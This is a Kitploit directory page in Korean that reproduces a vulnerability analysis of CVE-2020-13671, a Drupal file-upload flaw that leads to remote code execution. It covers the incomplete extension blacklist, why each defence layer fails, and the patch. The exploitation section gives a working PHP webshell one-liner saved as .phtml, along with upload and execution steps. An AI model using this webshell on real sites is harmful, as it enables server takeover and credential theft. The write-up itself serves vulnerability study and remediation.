Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-13671 — CVE-2020-13671에 대한 상세 분석 및 개념 증명(PoC) — 파일 업로드를 통한 Drupal 코어 원격 코드 실행 취약점으로, 근본 원인, 악용 단계 및 해결 방법을 포함합니다. | Kitploit
도구/GitHubGitHub/dungsocool/cve-2020-13671
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubdungsocool/cve-2020-13671

CVE-2020-13671

CVE-2020-13671에 대한 상세 분석 및 개념 증명(PoC) — 파일 업로드를 통한 Drupal 코어 원격 코드 실행 취약점으로, 근본 원인, 악용 단계 및 해결 방법을 포함합니다.

저장소 보기
3일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-13671

파일 업로드를 통한 RCE — Drupal Core

소프트웨어: Drupal Core 8.7.5 (영향: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (높음)
CWE: CWE-434 — 위험한 유형의 파일 무제한 업로드
CISA KEV: 예 — 알려진 악용 취약점
보안 권고: SA-CORE-2020-012


Drupal이란 무엇인가

Drupal은 PHP로 작성된 오픈소스 콘텐츠 관리 시스템(CMS)입니다. WordPress나 Joomla와 유사하지만 엔터프라이즈 웹사이트, 다국어 플랫폼 같은 더 복잡한 시스템 구축에 더 적합합니다. Drupal은 모듈형 아키텍처를 사용하며, 사용 가능한 모듈을 활성화/비활성화하거나 커뮤니티에서 추가 모듈을 설치하여 기능을 확장할 수 있습니다.

모든 CMS의 기본 기능 중 하나는 사용자가 파일을 업로드할 수 있게 하는 것입니다 — 프로필 아바타, 첨부 문서, 기사 내 첨부 파일 등. Drupal은 이러한 파일을 sites/default/files/ 디렉토리에 저장하고 웹 서버(Apache 또는 Nginx)를 통해 직접 제공합니다.

⇒ 이것은 명확한 공격 표면을 만듭니다: 공격자가 PHP 파일을 해당 디렉토리에 업로드할 수 있다면, 웹 서버는 들어오는 요청을 통해 접근할 때 그 파일을 실행할 것입니다.

이를 방지하기 위해 Drupal은 여러 방어 계층을 구축합니다: 파일 확장자 검증, 위험한 파일 이름 변경, 업로드 디렉토리에서 스크립트 실행을 차단하는 .htaccess 배치. 그러나 8.7.5 버전에서 공격자는 바로 이러한 계층 사이의 사각지대를 악용합니다.

악용 조건

이 취약점은 파일 업로드 권한이 있는 계정을 필요로 합니다. 기본적으로 Drupal 8.7.5에서 일반 사용자(Authenticated)는 콘텐츠 보기와 댓글 작성 권한만 있으며 — 기사 작성이나 파일 업로드 권한은 없습니다.

계정악용 가능?설명
관리자예전체 업로드 권한 보유
편집자 / 콘텐츠 작성자예"콘텐츠 만들기" 권한과 관리자의 업로드 허용이 부여된 경우
인증된 사용자 (기본값)아니요기본적으로 콘텐츠 생성 또는 업로드 권한 없음
익명 사용자 (로그인하지 않음)아니요업로드 권한 없음

그러나 실제로 많은 Drupal 사이트는 일반 사용자에게 콘텐츠 생성 권한을 부여합니다(포럼, 커뮤니티 블로그, 기사 제출을 허용하는 뉴스 사이트). 이런 경우 공격자는 계정을 등록하기만 하면 악용할 수 있습니다.

공격 흐름:

root@kitploit:~
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE

근본 원인 ( ROOT CAUSE )

core/modules/file/file.module 파일에는 어떤 파일이 실행 가능한 것으로 간주되는지 결정하는 단일 정규식이 있습니다:

root@kitploit:~
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

image.png

이 정규식은 phar, php, pl, py, cgi, asp, js 총 7개의 확장자를 나열합니다. 이 목록과 일치하는 확장자를 가진 파일은 Drupal에 의해 자동으로 .txt가 추가되어 — 실행 능력을 무력화합니다.

그러나 PHP 엔진은 .php 파일만 처리하지 않습니다. 웹 서버 구성에 따라 다른 확장자도 인식하고 실행합니다:

확장자의미정규식에 포함?
.phpPHP 표준예
.phtmlPHP 대체 템플릿아니요
.php5PHP 5 핸들러아니요
.phtPHP 템플릿아니요
.phpsPHP 소스아니요
.shtml서버 사이드 인클루드아니요

5개의 PHP 확장 변형이 정규식에서 완전히 누락되어 있습니다. 즉, shell.phtml이라는 파일이 Drupal에 업로드되면 → 정규식이 일치하지 않음 → 이름이 바뀌지 않음 → 원래 이름 그대로 업로드 디렉토리에 저장됨 → 웹 서버가 .phtml을 보고 → PHP로 실행 → 공격자가 RCE를 달성합니다. 이것이 근본 원인입니다: Drupal은 위험한 확장자를 차단하기 위해 블랙리스트를 사용했지만, 그 목록이 불완전했습니다.

각 방어 계층 분석

사용자가 파일을 업로드하면 Drupal은 저장하기 전에 3가지 검증 함수를 통과시킵니다. 다음은 .phtml에 대해 이 3가지가 모두 실패하는 이유에 대한 분석입니다.

계층 1 — file_munge_filename() (core/includes/file.inc)

목적: 파일명 중간에 있는 위험한 확장자를 감지하고 _를 추가해 무력화하는 것. 함수 작동 방식:

image.png

root@kitploit:~
$filename_parts = explode('.', $filename);    // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension

foreach ($filename_parts as $filename_part) {
    // iterate over the MIDDLE parts
    // if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;

예를 들어 shell.phtml의 경우:

  • explode는 ["shell", "phtml"]로 분리
  • shift는 "shell"을 가져오고 ["phtml"]이 남음
  • pop은 "phtml"을 가져오고 []이 남음
  • 중간 배열이 비어 있음 → foreach는 실행되지 않음
  • "shell.phtml"을 그대로 반환

그러나 파일에 단일 확장자만 있는 경우에는 개입하지 않습니다. 따라서 이 함수는 여러 확장자를 가진 파일만 처리하도록 설계되었습니다.

계층 2 — FILE_INSECURE_EXTENSION_REGEX (file.module:1015)

이것이 주요 방어 계층입니다. 1015행의 코드:

image.png

root@kitploit:~
if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
    && preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
    && (substr($file->getFilename(), -4) != '.txt')) {
    $file->setMimeType('text/plain');
    $file->setFilename($file->getFilename() . '.txt');
}

파일명이 정규식과 일치하면 → MIME을 text/plain으로 변경하고 끝에 .txt를 추가합니다.

shell.phtml의 경우:

  • preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml')은 0을 반환
  • 일치하지 않음 → if 블록에 진입하지 않음 → 파일은 원래 이름을 유지

따라서 이 섹션은 위험한 파일을 차단해야 했지만, 정규식이 .phtml이 위험하다는 것을 알지 못하기 때문에 그대로 통과됩니다.

계층 3 — 업로드 디렉토리의 .htaccess

Drupal은 sites/default/files/에 .htaccess 파일을 배치합니다:

root@kitploit:~
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
  SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>

<IfModule mod_php5.c>
  php_flag engine off
</IfModule>

php_flag engine off 지시문은 디렉토리 전체에서 PHP 엔진을 끄지만, mod_php5에만 적용됩니다. Drupal 8.7.5는 PHP 7에서 실행되므로 mod_php7이 활성화되어 있고 비활성화되지 않습니다.

또한 .htaccess에는 다른 3가지 약점도 있습니다:

  • Nginx는 .htaccess를 읽지 않음 — 이 파일은 Nginx에서 완전히 무효
  • AllowOverride None 으로 구성된 Apache → .htaccess가 무시됨
  • mod_php 대신 PHP-FPM을 사용하는 서버 → php_flag 지시문이 효과 없음

악용

1단계 — 웹셸 생성

root@kitploit:~
echo '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml

2단계 — 파일 업로드

업로드 권한이 있는 계정으로 Drupal에 로그인 → 콘텐츠(Content) → 콘텐츠 추가 → 문서(Article) → Image 필드에서 webshell.phtml 파일 선택 → 업로드.

Drupal은 파일을 수락하고 이름을 바꾸지 않으며 원래 이름 그대로 sites/default/files/에 저장합니다.

image.png

3단계 — 웹셸 실행

그런 다음 whoami로 셸 호출을 실행합니다:

image.png

따라서 우리는 www-data 권한으로 RCE를 성공적으로 달성했습니다.

자격 증명을 확인하기 위해 추가 테스트:

image.png

결과

공격자는 데이터베이스 자격 증명이 포함된 settings.php를 읽고, 전체 DB를 덤프하고, 리버스 셸을 설치하거나, 루트로 권한을 상승시킬 수 있습니다.

해결 방법

정규식 업데이트 — 누락된 5개 확장자 추가:

root@kitploit:~
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'

// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'

.htaccess 업데이트 — mod_php7 비활성화 추가:

root@kitploit:~
<IfModule mod_php7.c>
  php_flag engine off
</IfModule>

패치는 작동하지만 여전히 블랙리스트에 의존합니다. 향후 새로운 확장자(.php8, .phpt)가 등장하면 정규식을 다시 업데이트해야 합니다. 화이트리스트 방식 — 알려진 안전한 확장자만 허용하는 방식 — 이 더 철저한 접근 방식이 될 것입니다.

요약

취약 파일core/modules/file/file.module 28행
근본 원인정규식 블랙리스트에 .phtml, .php5, .pht, .phps, .shtml 누락
영향.phtml 업로드 → 서버가 실행 → RCE
우회된 3가지 방어 계층file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess
패치정규식에 5개 확장자 추가 + .htaccess에서 mod_php7 비활성화
도구 다운로드